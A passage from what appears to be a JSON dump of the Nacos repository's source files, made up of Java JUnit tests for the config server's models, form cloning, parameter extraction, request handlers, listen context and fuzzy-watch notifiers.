assertEquals(\"DEFAULT_GROUP\", configInfo.getGroup());\n        assertEquals(\"public\", configInfo.getTenant());\n        assertEquals(\"key=value\", configInfo.getContent());\n        assertEquals(null, configInfo.getDesc());\n        assertEquals(null, configInfo.getConfigTags());\n    }\n    \n    @Test\n    void testConfigInfoInheritance() {\n        // 测试 ConfigAllInfo 继承 ConfigInfo 后的字段访问\n        ConfigAllInfo configAllInfo = new ConfigAllInfo();\n        configAllInfo.setDataId(\"test.properties\");\n        configAllInfo.setGroup(\"DEFAULT_GROUP\");\n        configAllInfo.setDesc(\"继承的描述字段\");\n        configAllInfo.setConfigTags(\"inherited,tags\");\n        \n        assertEquals(\"test.properties\", configAllInfo.getDataId());\n        assertEquals(\"DEFAULT_GROUP\", configAllInfo.getGroup());\n        assertEquals(\"继承的描述字段\", configAllInfo.getDesc());\n        assertEquals(\"inherited,tags\", configAllInfo.getConfigTags());\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/model/NacosConfigCacheFactoryTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass NacosConfigCacheFactoryTest {\n    \n    @Test\n    public void testCreateConfigCache() {\n        NacosConfigCacheFactory nacosConfigCacheFactory = new NacosConfigCacheFactory();\n        ConfigCache configCache = nacosConfigCacheFactory.createConfigCache();\n        assertEquals(ConfigCache.class, configCache.getClass());\n        ConfigCacheGray configCacheGray = nacosConfigCacheFactory.createConfigCacheGray();\n        assertEquals(ConfigCacheGray.class, configCacheGray.getClass());\n    }\n    \n    @Test\n    public void testGetName() {\n        NacosConfigCacheFactory nacosConfigCacheFactory = new NacosConfigCacheFactory();\n        assertEquals(\"nacos\", nacosConfigCacheFactory.getName());\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/model/NacosConfigCachePostProcessorTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass NacosConfigCachePostProcessorTest {\n    \n    @Test\n    public void test() {\n        NacosConfigCachePostProcessor nacosConfigCacheMd5PostProcessor = new NacosConfigCachePostProcessor();\n        assertEquals(\"nacos\", nacosConfigCacheMd5PostProcessor.getName());\n        nacosConfigCacheMd5PostProcessor.postProcess(null, null);\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/model/form/ConfigFormTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model.form;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNotSame;\n\n/**\n * ConfigFormTest\n *\n * @author Ken\n */\npublic class ConfigFormTest {\n    \n    private ConfigForm original;\n\n    @BeforeEach\n    void setUp() {\n        // 1. 初始化并填充原始对象的所有类型字段\n        original = new ConfigForm();\n        original.setDataId(\"dataId\");\n        original.setGroup(\"groupId\");\n        original.setNamespaceId(\"namespaceId\");\n        original.setContent(\"content\");\n        original.setTag(\"tag\");\n        original.setAppName(\"appName\");\n        original.setSrcUser(\"srcUser\");\n        original.setConfigTags(\"configTag\");\n        original.setDesc(\"desc\");\n        original.setUse(\"use\");\n        original.setEffect(\"effect\");\n        original.setType(\"yaml\");\n        original.setSchema(\"schema\");\n        original.setEncryptedDataKey(\"encryptedDataKey\");\n        original.setGrayName(\"grayName\");\n        original.setGrayRuleExp(\"grayRuleExp\");\n        original.setGrayVersion(\"grayVersion\");\n        original.setGrayPriority(5);\n    }\n    \n    @Test\n    void testCloneInstance() {\n        ConfigForm cloned = original.clone();\n\n        // 验证非空\n        assertNotNull(cloned);\n        // 验证内存地址不同（不是同一个引用）\n        assertNotSame(original, cloned);\n        // 验证类类型一致\n        assertEquals(original.getClass(), cloned.getClass());\n    }\n\n    @Test\n    void testCloneFields() {\n        ConfigForm cloned = original.clone();\n\n        // 逐一验证关键属性\n        assertEquals(original.getDataId(), cloned.getDataId());\n        assertEquals(original.getGroup(), cloned.getGroup());\n        assertEquals(original.getNamespaceId(), cloned.getNamespaceId());\n        assertEquals(original.getContent(), cloned.getContent());\n        assertEquals(original.getAppName(), cloned.getAppName());\n        assertEquals(original.getGrayPriority(), cloned.getGrayPriority());\n        assertEquals(original.getGrayName(), cloned.getGrayName());\n        assertEquals(original.getDesc(), cloned.getDesc());\n    }\n\n    @Test\n    void testDeepCopyIndependence() {\n        ConfigForm cloned = original.clone();\n        \n        // 修改克隆体的属性\n        String newContent = \"new-content-modified\";\n        cloned.setContent(newContent);\n\n        // 断言原对象的属性没有改变\n        assertNotEquals(original.getContent(), cloned.getContent());\n        assertEquals(\"content\", original.getContent());\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/paramcheck/ConfigListenerHttpParamExtractorTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.paramcheck;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport jakarta.servlet.http.HttpServletRequest;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static com.alibaba.nacos.api.common.Constants.LINE_SEPARATOR;\nimport static com.alibaba.nacos.api.common.Constants.WORD_SEPARATOR;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.eq;\n\n@ExtendWith(MockitoExtension.class)\nclass ConfigListenerHttpParamExtractorTest {\n    \n    ConfigListenerHttpParamExtractor configListenerHttpParamExtractor;\n    \n    @Mock\n    HttpServletRequest httpServletRequest;\n    \n    @Test\n    void testNormal() {\n        String listenerConfigsString = getListenerConfigsString();\n        Mockito.when(httpServletRequest.getParameter(eq(\"Listening-Configs\"))).thenReturn(listenerConfigsString);\n        configListenerHttpParamExtractor = new ConfigListenerHttpParamExtractor();\n        configListenerHttpParamExtractor.extractParam(httpServletRequest);\n    }\n    \n    @Test\n    void testError() {\n        String listenerConfigsString = getErrorListenerConfigsString();\n        Mockito.when(httpServletRequest.getParameter(eq(\"Listening-Configs\"))).thenReturn(listenerConfigsString);\n        configListenerHttpParamExtractor = new ConfigListenerHttpParamExtractor();\n        try {\n            configListenerHttpParamExtractor.extractParam(httpServletRequest);\n            assertTrue(false);\n        } catch (Throwable throwable) {\n            throwable.printStackTrace();\n            assertTrue(throwable instanceof IllegalArgumentException);\n        }\n    }\n    \n    private String getListenerConfigsString() {\n        ConfigInfo configInfo1 = new ConfigInfo();\n        configInfo1.setDataId(\"2345678901\");\n        configInfo1.setGroup(\"1234445\");\n        configInfo1.setMd5(\"234567\");\n        configInfo1.setTenant(\"222345\");\n        ConfigInfo configInfo2 = new ConfigInfo();\n        configInfo2.setDataId(\"2345678902\");\n        configInfo2.setGroup(\"1234445\");\n        configInfo2.setMd5(null);\n        configInfo2.setTenant(null);\n        ConfigInfo configInfo3 = new ConfigInfo();\n        configInfo3.setDataId(\"2345678903\");\n        configInfo3.setGroup(\"1234445\");\n        configInfo3.setMd5(\"12345\");\n        configInfo3.setTenant(null);\n        ConfigInfo configInfo4 = new ConfigInfo();\n        configInfo4.setDataId(\"234567844\");\n        configInfo4.setGroup(\"1234445\");\n        configInfo4.setMd5(\"12345\");\n        configInfo4.setTenant(null);\n        List<ConfigInfo> configInfoList = Arrays.asList(configInfo4, configInfo3, configInfo2, configInfo1);\n        StringBuilder sb = new StringBuilder();\n        for (ConfigInfo configInfo : configInfoList) {\n            sb.append(configInfo.getDataId()).append(WORD_SEPARATOR);\n            sb.append(configInfo.getGroup()).append(WORD_SEPARATOR);\n            if (StringUtils.isBlank(configInfo.getTenant())) {\n                sb.append(configInfo.getMd5()).append(LINE_SEPARATOR);\n            } else {\n                sb.append(configInfo.getMd5()).append(WORD_SEPARATOR);\n                sb.append(configInfo.getTenant()).append(LINE_SEPARATOR);\n            }\n        }\n        \n        return sb.toString();\n        \n    }\n    \n    private String getErrorListenerConfigsString() {\n        ConfigInfo configInfo1 = new ConfigInfo();\n        configInfo1.setDataId(\"2345678901\");\n        \n        List<ConfigInfo> configInfoList = Arrays.asList(configInfo1);\n        StringBuilder sb = new StringBuilder();\n        for (ConfigInfo configInfo : configInfoList) {\n            sb.append(configInfo.getDataId()).append(WORD_SEPARATOR);\n        }\n        \n        return sb.toString();\n        \n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/remote/ConfigChangeBatchListenRequestHandlerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest;\nimport com.alibaba.nacos.api.config.remote.response.ConfigChangeBatchListenResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.core.utils.StringPool;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.springframework.test.util.ReflectionTestUtils;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.eq;\n\n@ExtendWith(MockitoExtension.class)\nclass ConfigChangeBatchListenRequestHandlerTest {\n    \n    @InjectMocks\n    private ConfigChangeBatchListenRequestHandler configQueryRequestHandler;\n    \n    @InjectMocks\n    private ConfigChangeListenContext configChangeListenContext;\n    \n    private RequestMeta requestMeta;\n    \n    @BeforeEach\n    void setUp() {\n        configQueryRequestHandler = new ConfigChangeBatchListenRequestHandler();\n        ReflectionTestUtils.setField(configQueryRequestHandler, \"configChangeListenContext\", configChangeListenContext);\n        requestMeta = new RequestMeta();\n        requestMeta.setClientIp(\"1.1.1.1\");\n    }\n    \n    @Test\n    void testHandle() {\n        MockedStatic<ConfigCacheService> configCacheServiceMockedStatic = Mockito.mockStatic(ConfigCacheService.class);\n        \n        String dataId = \"dataId\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String groupKey = GroupKey2.getKey(dataId, group, tenant);\n        groupKey = StringPool.get(groupKey);\n        \n        final String groupKeyCopy = groupKey;\n        configCacheServiceMockedStatic.when(\n                () -> ConfigCacheService.isUptodate(eq(groupKeyCopy), Mockito.any(), Mockito.any(), Mockito.any())).thenReturn(false);\n        ConfigBatchListenRequest configChangeListenRequest = new ConfigBatchListenRequest();\n        configChangeListenRequest.addConfigListenContext(group, dataId, tenant, \" \");\n        try {\n            ConfigChangeBatchListenResponse configChangeBatchListenResponse = configQueryRequestHandler.handle(configChangeListenRequest,\n                    requestMeta);\n            boolean hasChange = false;\n            for (ConfigChangeBatchListenResponse.ConfigContext changedConfig : configChangeBatchListenResponse.getChangedConfigs()) {\n                if (changedConfig.getDataId().equals(dataId)) {\n                    hasChange = true;\n                    break;\n                }\n            }\n            assertTrue(hasChange);\n        } catch (NacosException e) {\n            e.printStackTrace();\n        } finally {\n            configCacheServiceMockedStatic.close();\n        }\n    }\n    \n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/remote/ConfigChangeClusterSyncRequestHandlerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.cluster.ConfigChangeClusterSyncRequest;\nimport com.alibaba.nacos.api.config.remote.response.cluster.ConfigChangeClusterSyncResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.dump.DumpService;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.IOException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\n\n@ExtendWith(MockitoExtension.class)\nclass ConfigChangeClusterSyncRequestHandlerTest {\n    \n    private ConfigChangeClusterSyncRequestHandler configChangeClusterSyncRequestHandler;\n    \n    @Mock\n    private DumpService dumpService;\n    \n    @Mock\n    private ConfigMigrateService configMigrateService;\n    \n    @BeforeEach\n    void setUp() throws IOException {\n        configChangeClusterSyncRequestHandler = new ConfigChangeClusterSyncRequestHandler(dumpService,\n                configMigrateService);\n    }\n    \n    @Test\n    void testHandle() throws NacosException {\n        ConfigChangeClusterSyncRequest configChangeSyncRequest = new ConfigChangeClusterSyncRequest();\n        configChangeSyncRequest.setRequestId(\"\");\n        configChangeSyncRequest.setDataId(\"dataId\");\n        configChangeSyncRequest.setTag(\"tag\");\n        configChangeSyncRequest.setLastModified(1L);\n        configChangeSyncRequest.setBeta(false);\n        RequestMeta meta = new RequestMeta();\n        meta.setClientIp(\"1.1.1.1\");\n        ConfigChangeClusterSyncResponse configChangeClusterSyncResponse = configChangeClusterSyncRequestHandler.handle(\n                configChangeSyncRequest, meta);\n        assertEquals(configChangeClusterSyncResponse.getResultCode(), ResponseCode.SUCCESS.getCode());\n    }\n    \n    @Test\n    void testHandleBetaCompatibleFromOldServer() throws NacosException {\n        ConfigChangeClusterSyncRequest configChangeSyncRequest = new ConfigChangeClusterSyncRequest();\n        configChangeSyncRequest.setRequestId(\"\");\n        configChangeSyncRequest.setDataId(\"dataId\");\n        configChangeSyncRequest.setGroup(\"group123\");\n        configChangeSyncRequest.setTenant(\"tenant...\");\n        configChangeSyncRequest.setLastModified(1L);\n        configChangeSyncRequest.setBeta(true);\n        RequestMeta meta = new RequestMeta();\n        meta.setClientIp(\"1.1.1.1\");\n        ConfigChangeClusterSyncResponse configChangeClusterSyncResponse = configChangeClusterSyncRequestHandler.handle(\n                configChangeSyncRequest, meta);\n        verify(configMigrateService, times(1)).checkMigrateBeta(configChangeSyncRequest.getDataId(),\n                configChangeSyncRequest.getGroup(), configChangeSyncRequest.getTenant());\n        assertEquals(configChangeClusterSyncResponse.getResultCode(), ResponseCode.SUCCESS.getCode());\n    }\n    \n    @Test\n    void testHandleOldCompatibleFromOldServer() throws NacosException {\n        ConfigChangeClusterSyncRequest configChangeSyncRequest = new ConfigChangeClusterSyncRequest();\n        configChangeSyncRequest.setRequestId(\"\");\n        configChangeSyncRequest.setDataId(\"dataId\");\n        configChangeSyncRequest.setGroup(\"group123\");\n        configChangeSyncRequest.setTenant(\"tenant...\");\n        configChangeSyncRequest.setTag(\"tag1234\");\n        configChangeSyncRequest.setLastModified(1L);\n        RequestMeta meta = new RequestMeta();\n        meta.setClientIp(\"1.1.1.1\");\n        ConfigChangeClusterSyncResponse configChangeClusterSyncResponse = configChangeClusterSyncRequestHandler.handle(\n                configChangeSyncRequest, meta);\n        verify(configMigrateService, times(1)).checkMigrateTag(configChangeSyncRequest.getDataId(),\n                configChangeSyncRequest.getGroup(), configChangeSyncRequest.getTenant(),\n                configChangeSyncRequest.getTag());\n        assertEquals(configChangeClusterSyncResponse.getResultCode(), ResponseCode.SUCCESS.getCode());\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/remote/ConfigChangeListenContextTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.config.server.model.ConfigListenState;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.Map;\nimport java.util.Set;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\n@ExtendWith(MockitoExtension.class)\nclass ConfigChangeListenContextTest {\n    \n    private ConfigChangeListenContext configChangeListenContext;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        configChangeListenContext = new ConfigChangeListenContext();\n    }\n    \n    @Test\n    void testAddListen() {\n        configChangeListenContext.addListen(\"groupKey\", \"md5\", \"connectionId\", false);\n        Set<String> groupKey = configChangeListenContext.getListeners(\"groupKey\");\n        assertEquals(1, groupKey.size());\n    }\n    \n    @Test\n    void testRemoveListen() {\n        configChangeListenContext.addListen(\"groupKey\", \"md5\", \"connectionId\", false);\n        configChangeListenContext.removeListen(\"groupKey\", \"connectionId\");\n        Set<String> groupKey = configChangeListenContext.getListeners(\"groupKey\");\n        assertNull(groupKey);\n    }\n    \n    @Test\n    void testGetListeners() {\n        configChangeListenContext.addListen(\"groupKey\", \"md5\", \"connectionId\", false);\n        Set<String> groupKey = configChangeListenContext.getListeners(\"groupKey\");\n        assertEquals(1, groupKey.size());\n    }\n    \n    @Test\n    void testClearContextForConnectionId() {\n        configChangeListenContext.addListen(\"groupKey\", \"md5\", \"connectionId\", false);\n        Map<String, String> connectionIdBefore = configChangeListenContext.getListenKeys(\"connectionId\");\n        assertNotNull(connectionIdBefore);\n        configChangeListenContext.clearContextForConnectionId(\"connectionId\");\n        Map<String, String> connectionIdAfter = configChangeListenContext.getListenKeys(\"connectionId\");\n        assertNull(connectionIdAfter);\n    }\n    \n    @Test\n    void testGetListenKeys() {\n        configChangeListenContext.addListen(\"groupKey\", \"md5\", \"connectionId\", false);\n        Set<String> groupKey = configChangeListenContext.getListeners(\"groupKey\");\n        assertEquals(1, groupKey.size());\n    }\n    \n    @Test\n    void testGetListenKeyMd5() {\n        configChangeListenContext.addListen(\"groupKey\", \"md5\", \"connectionId\", false);\n        String listenKeyMd5 = configChangeListenContext.getListenKeyMd5(\"connectionId\", \"groupKey\");\n        assertEquals(\"md5\", listenKeyMd5);\n    }\n    \n    @Test\n    void testGetConfigListenState() {\n        configChangeListenContext.addListen(\"groupKey\", \"md5\", \"connectionId\", false);\n        ConfigListenState configListenState = configChangeListenContext\n                .getConfigListenState(\"connectionId\", \"groupKey\");\n        assertEquals(\"md5\", configListenState.getMd5());\n        assertFalse(configListenState.isNamespaceTransfer());\n    }\n    \n    @Test\n    void testGetConfigListenStates() {\n        configChangeListenContext.addListen(\"groupKey\", \"md5\", \"connectionId\", false);\n        Map<String, ConfigListenState> configListenStates = configChangeListenContext\n                .getConfigListenStates(\"connectionId\");\n        assertEquals(1, configListenStates.size());\n        assertEquals(\"md5\", configListenStates.get(\"groupKey\").getMd5());\n        assertFalse(configListenStates.get(\"groupKey\").isNamespaceTransfer());\n    }\n    \n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/remote/ConfigFuzzyWatchChangeNotifierTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.config.server.model.CacheItem;\nimport com.alibaba.nacos.config.server.model.event.LocalDataChangeEvent;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.ConfigFuzzyWatchContextService;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport com.alibaba.nacos.core.remote.ConnectionManager;\nimport com.alibaba.nacos.core.remote.RpcPushService;\nimport com.alibaba.nacos.core.remote.grpc.GrpcConnection;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.IOException;\nimport java.util.Collections;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.api.common.Constants.ConfigChangedType.CONFIG_CHANGED;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\npublic class ConfigFuzzyWatchChangeNotifierTest {\n    \n    ConfigFuzzyWatchChangeNotifier configFuzzyWatchChangeNotifier;\n    \n    @Mock\n    ConnectionManager connectionManager;\n    \n    @Mock\n    RpcPushService rpcPushService;\n    \n    @Mock\n    ConfigFuzzyWatchContextService configFuzzyWatchContextService;\n    \n    MockedStatic<ConfigExecutor> tMockedStatic;\n    \n    MockedStatic<ConfigCacheService> configCacheServiceMockedStatic;\n    \n    @AfterEach\n    void after() {\n        tMockedStatic.close();\n        configCacheServiceMockedStatic.close();\n    }\n    \n    @BeforeEach\n    void setUp() throws IOException {\n        tMockedStatic = Mockito.mockStatic(ConfigExecutor.class);\n        configCacheServiceMockedStatic = Mockito.mockStatic(ConfigCacheService.class);\n        configFuzzyWatchChangeNotifier = new ConfigFuzzyWatchChangeNotifier(connectionManager, rpcPushService,\n                configFuzzyWatchContextService);\n    }\n    \n    @Test\n    void testOnConfigAdd() {\n        \n        String groupKey = GroupKey.getKeyTenant(\"data1234\", \"group\", \"tnnt1234\");\n        when(configFuzzyWatchContextService.syncGroupKeyContext(eq(groupKey), eq(CONFIG_CHANGED))).thenReturn(true);\n        \n        CacheItem cacheItem = Mockito.mock(CacheItem.class);\n        configCacheServiceMockedStatic.when(() -> ConfigCacheService.getContentCache(eq(groupKey)))\n                .thenReturn(cacheItem);\n        \n        String connectionId = \"123456\";\n        when(configFuzzyWatchContextService.getMatchedClients(eq(groupKey))).thenReturn(\n                Collections.singleton(connectionId));\n        GrpcConnection grpcConnection = Mockito.mock(GrpcConnection.class);\n        when(connectionManager.getConnection(eq(connectionId))).thenReturn(grpcConnection);\n        \n        LocalDataChangeEvent localDataChangeEvent = new LocalDataChangeEvent(groupKey);\n        configFuzzyWatchChangeNotifier.onEvent(localDataChangeEvent);\n        \n        tMockedStatic.verify(\n                () -> ConfigExecutor.scheduleClientConfigNotifier(any(FuzzyWatchChangeNotifyTask.class), eq(0L),\n                        eq(TimeUnit.SECONDS)), times(1));\n        \n    }\n    \n    @Test\n    void testOnEmptyConnection() {\n        \n        String groupKey = GroupKey.getKeyTenant(\"data1234\", \"group\", \"tnnt1234\");\n        when(configFuzzyWatchContextService.syncGroupKeyContext(eq(groupKey), eq(CONFIG_CHANGED))).thenReturn(true);\n        \n        CacheItem cacheItem = Mockito.mock(CacheItem.class);\n        configCacheServiceMockedStatic.when(() -> ConfigCacheService.getContentCache(eq(groupKey)))\n                .thenReturn(cacheItem);\n        \n        String connectionId = \"123456\";\n        when(configFuzzyWatchContextService.getMatchedClients(eq(groupKey))).thenReturn(\n                Collections.singleton(connectionId));\n        when(connectionManager.getConnection(eq(connectionId))).thenReturn(null);\n        \n        LocalDataChangeEvent localDataChangeEvent = new LocalDataChangeEvent(groupKey);\n        configFuzzyWatchChangeNotifier.onEvent(localDataChangeEvent);\n        \n        tMockedStatic.verify(\n                () -> ConfigExecutor.scheduleClientConfigNotifier(any(FuzzyWatchChangeNotifyTask.class), eq(0L),\n                        eq(TimeUnit.SECONDS)), times(0));\n        \n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/remote/ConfigFuzzyWatchSyncNotifierTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.common.utils.FuzzyGroupKeyPattern;\nimport com.alibaba.nacos.config.server.configuration.ConfigCommonConfig;\nimport com.alibaba.nacos.config.server.model.event.ConfigFuzzyWatchEvent;\nimport com.alibaba.nacos.config.server.service.ConfigFuzzyWatchContextService;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport com.alibaba.nacos.core.remote.ConnectionManager;\nimport com.alibaba.nacos.core.remote.RpcPushService;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.IOException;\nimport java.util.HashSet;\nimport java.util.Set;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\npublic class ConfigFuzzyWatchSyncNotifierTest {\n    \n    ConfigFuzzyWatchSyncNotifier configFuzzyWatchSyncNotifier;\n    \n    @Mock\n    ConnectionManager connectionManager;\n    \n    @Mock\n    RpcPushService 